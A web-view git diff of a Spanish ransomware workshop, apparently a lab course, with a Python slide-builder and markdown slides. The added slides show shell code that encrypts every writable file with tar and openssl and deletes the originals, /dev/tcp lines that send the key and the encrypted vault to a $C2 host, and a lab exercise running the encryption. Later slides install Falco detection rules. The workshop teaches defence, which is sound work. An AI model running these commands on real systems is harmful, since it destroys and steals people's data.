cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')]
|
|
||||||
rows.append(cells)
|
|
||||||
else:
|
|
||||||
non_table.append(line)
|
|
||||||
return non_table, rows
|
|
||||||
|
|
||||||
def add_pptx_table(slide, rows, left, top, width, height):
|
|
||||||
"""Añade una tabla PPTX estilizada en las coordenadas dadas."""
|
|
||||||
if not rows:
|
|
||||||
return
|
|
||||||
n_rows = len(rows)
|
|
||||||
n_cols = max(len(r) for r in rows)
|
|
||||||
|
|
||||||
tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table
|
|
||||||
|
|
||||||
# Distribuir columnas proporcionalmente (col0 más estrecha = herramienta)
|
|
||||||
if n_cols == 2:
|
|
||||||
tbl.columns[0].width = int(width * 0.25)
|
|
||||||
tbl.columns[1].width = int(width * 0.75)
|
|
||||||
else:
|
|
||||||
for i in range(n_cols):
|
|
||||||
tbl.columns[i].width = width // n_cols
|
|
||||||
|
|
||||||
RED = RGBColor(0x8B, 0x00, 0x00)
|
|
||||||
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
|
|
||||||
BLACK = RGBColor(0x00, 0x00, 0x00)
|
|
||||||
LIGHT = RGBColor(0xF2, 0xF2, 0xF2)
|
|
||||||
|
|
||||||
for ri, row in enumerate(rows):
|
|
||||||
header = (ri == 0)
|
|
||||||
for ci in range(n_cols):
|
|
||||||
cell = tbl.cell(ri, ci)
|
|
||||||
text = row[ci] if ci < len(row) else ''
|
|
||||||
cell.text = text
|
|
||||||
cell.fill.solid()
|
|
||||||
cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE)
|
|
||||||
for para in cell.text_frame.paragraphs:
|
|
||||||
for run in para.runs:
|
|
||||||
run.font.size = Pt(14)
|
|
||||||
run.font.bold = header
|
|
||||||
run.font.color.rgb = WHITE if header else BLACK
|
|
||||||
|
|
||||||
# ─── builder ──────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def build():
|
|
||||||
# Template original: solo para extraer backgrounds
|
|
||||||
tmpl = Presentation(TEMPLATE)
|
|
||||||
tmpl_slides = list(tmpl.slides)
|
|
||||||
|
|
||||||
# Template limpio: sin slides, para construir desde cero
|
|
||||||
clean_buf = make_clean_template(TEMPLATE)
|
|
||||||
prs = Presentation(clean_buf)
|
|
||||||
|
|
||||||
blocks = parse_slides(SOURCE)
|
|
||||||
|
|
||||||
def add(layout_idx, bg_idx):
|
|
||||||
slide = prs.slides.add_slide(prs.slide_layouts[layout_idx])
|
|
||||||
copy_background(slide, tmpl_slides[bg_idx])
|
|
||||||
return slide
|
|
||||||
|
|
||||||
# Slide 1: portada
|
|
||||||
slide = add(L_TITLE, BG_TITLE)
|
|
||||||
for ph in slide.placeholders:
|
|
||||||
if ph.placeholder_format.idx == 0:
|
|
||||||
ph.text = "Que coman tierra"
|
|
||||||
elif ph.placeholder_format.idx == 1:
|
|
||||||
ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad"
|
|
||||||
|
|
||||||
# Slides desde markdown
|
|
||||||
for block in blocks:
|
|
||||||
kind, title, body_lines = classify(block)
|
|
||||||
|
|
||||||
if kind == 'section':
|
|
||||||
slide = add(L_SECTION, BG_SECTION)
|
|
||||||
for ph in slide.placeholders:
|
|
||||||
if ph.placeholder_format.idx == 0:
|
|
||||||
ph.text = title
|
|
||||||
elif ph.placeholder_format.idx == 1 and body_lines:
|
|
||||||
fill_placeholder(ph, body_lines)
|
|
||||||
for para in ph.text_frame.paragraphs:
|
|
||||||
for run in para.runs:
|
|
||||||
run.font.color.rgb = RGBColor(0x00, 0x00, 0x00)
|
|
||||||
else:
|
|
||||||
slide = add(L_CONTENT, BG_CONTENT)
|
|
||||||
non_tbl, tbl_rows = parse_md_table(body_lines)
|
|
||||||
for ph in slide.placeholders:
|
|
||||||
if ph.placeholder_format.idx == 0:
|
|
||||||
ph.text = title
|
|
||||||
elif ph.placeholder_format.idx == 1:
|
|
||||||
if tbl_rows:
|
|
||||||
# Usar posicion del placeholder para colocar la tabla
|
|
||||||
sp = ph._element
|
|
||||||
xfrm = sp.find(f'.//{{{ANS}}}xfrm')
|
|
||||||
if xfrm is not None:
|
|
||||||
off = xfrm.find(f'{{{ANS}}}off')
|
|
||||||
ext = xfrm.find(f'{{{ANS}}}ext')
|
|
||||||
l = int(off.get('x', 0))
|
|
||||||
t = int(off.get('y', 0))
|
|
||||||
w = int(ext.get('cx', 0))
|
|
||||||
h = int(ext.get('cy', 0))
|
|
||||||
else:
|
|
||||||
l, t, w, h = 838200, 1600200, 10515600, 4500000
|
|
||||||
# Si hay texto además de tabla, reducir altura de tabla
|
|
||||||
if non_tbl:
|
|
||||||
fill_placeholder(ph, non_tbl)
|
|
||||||
t_offset = int(h * 0.45)
|
|
||||||
add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset)
|
|
||||||
else:
|
|
||||||
ph.text = '' # vaciar placeholder
|
|
||||||
add_pptx_table(slide, tbl_rows, l, t, w, h)
|
|
||||||
else:
|
|
||||||
fill_placeholder(ph, body_lines)
|
|
||||||
|
|
||||||
prs.save(OUTPUT)
|
|
||||||
print(f"OK: {OUTPUT} — {len(prs.slides)} slides.")
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
build()
|
|
||||||
Binary file not shown.
@@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## tar | openssl: un proceso para cifrar todo
|
||||||
|
|
||||||
|
`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# todos los archivos -> un stream -> un blob cifrado
|
||||||
|
printf '%s\0' "${TARGETS[@]}" \
|
||||||
|
| tar --null -T - -czf - \
|
||||||
|
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||||
|
> /tmp/.vault.enc
|
||||||
|
|
||||||
|
# eliminar originales en batch
|
||||||
|
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||||
|
```
|
||||||
|
|
||||||
|
desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## y encima se lleva el vault
|
||||||
|
|
||||||
|
no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# clave al C2 por tcp/9090
|
||||||
|
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
|
||||||
|
"$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090
|
||||||
|
|
||||||
|
# vault cifrado al C2 por tcp/9091
|
||||||
|
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
|
||||||
|
"$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
|
||||||
|
cat /tmp/.vault.enc
|
||||||
|
} > /dev/tcp/"$C2"/9091
|
||||||
|
```
|
||||||
|
|
||||||
|
aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## La ventana de detección se cierra
|
## La ventana de detección se cierra
|
||||||
|
|
||||||
Benchmark real, root, servidor, `xargs -P 36`:
|
Benchmark real, root, servidor, `xargs -P 36`:
|
||||||
@@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ejercicio 4: Nota de rescate
|
## Ejercicio 4: tarbulk en acción
|
||||||
|
|
||||||
|
restaura el snapshot y ejecuta la variante `tar | openssl`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
KEY=$(openssl rand -hex 32)
|
||||||
|
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)
|
||||||
|
|
||||||
|
time printf '%s\0' "${TARGETS[@]}" \
|
||||||
|
| tar --null -T - -czf - \
|
||||||
|
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||||
|
> /tmp/.vault.enc
|
||||||
|
|
||||||
|
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||||
|
```
|
||||||
|
|
||||||
|
en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`
|
||||||
|
|
||||||
|
**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ejercicio 5: Nota de rescate
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
find / -type d -writable -print0 \
|
find / -type d -writable -print0 \
|
||||||
@@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ejercicio 5: Persistencia
|
## Ejercicio 6: Persistencia
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
(crontab -l 2>/dev/null; echo \
|
(crontab -l 2>/dev/null; echo \
|
||||||
@@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ejercicio 6: Forense post-ataque
|
## Ejercicio 7: Forense post-ataque
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# ¿Qué quedó en auth.log?
|
# ¿Qué quedó en auth.log?
|
||||||
@@ -388,6 +449,84 @@ Lo que hay que buscar:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Detección comportamental: Falco
|
||||||
|
|
||||||
|
**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.
|
||||||
|
|
||||||
|
- Sin agente en userspace frágil
|
||||||
|
- Reglas en YAML, legibles por humanos
|
||||||
|
- Se integra con cualquier SIEM vía Falcosidekick
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Instalar Falco: Debian / Ubuntu
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
|
||||||
|
| sudo gpg --dearmor \
|
||||||
|
-o /usr/share/keyrings/falco-archive-keyring.gpg
|
||||||
|
|
||||||
|
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
|
||||||
|
https://download.falco.org/packages/deb stable main" \
|
||||||
|
| sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
|
||||||
|
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y apt-transport-https dialog
|
||||||
|
sudo apt-get install -y falco
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Instalar Falco: RHEL / Rocky / Fedora
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo rpm --import \
|
||||||
|
https://falco.org/repo/falcosecurity-packages.asc
|
||||||
|
|
||||||
|
sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
|
||||||
|
https://falco.org/repo/falcosecurity-rpm.repo
|
||||||
|
|
||||||
|
sudo yum update -y
|
||||||
|
sudo yum install -y dialog
|
||||||
|
sudo yum install -y falco
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Desplegar las reglas QueComanTierra
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clonar el repositorio del taller
|
||||||
|
git clone https://git.resacachile.cl/anti/workshops /opt/workshops
|
||||||
|
|
||||||
|
# Copiar reglas al directorio de Falco
|
||||||
|
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
|
||||||
|
/etc/falco/rules.d/tarssl.yaml
|
||||||
|
|
||||||
|
# Recargar todos los servicios de Falco
|
||||||
|
systemctl restart falco-* --all
|
||||||
|
```
|
||||||
|
|
||||||
|
Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verificar que las reglas están activas
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Ver reglas cargadas
|
||||||
|
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"
|
||||||
|
|
||||||
|
# Ver logs en tiempo real
|
||||||
|
journalctl -fu falco
|
||||||
|
|
||||||
|
# Probar: lanzar openssl enc desde bash
|
||||||
|
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
|
||||||
|
# → Debe aparecer WARNING en journalctl
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Prevención: backups inmutables
|
## Prevención: backups inmutables
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user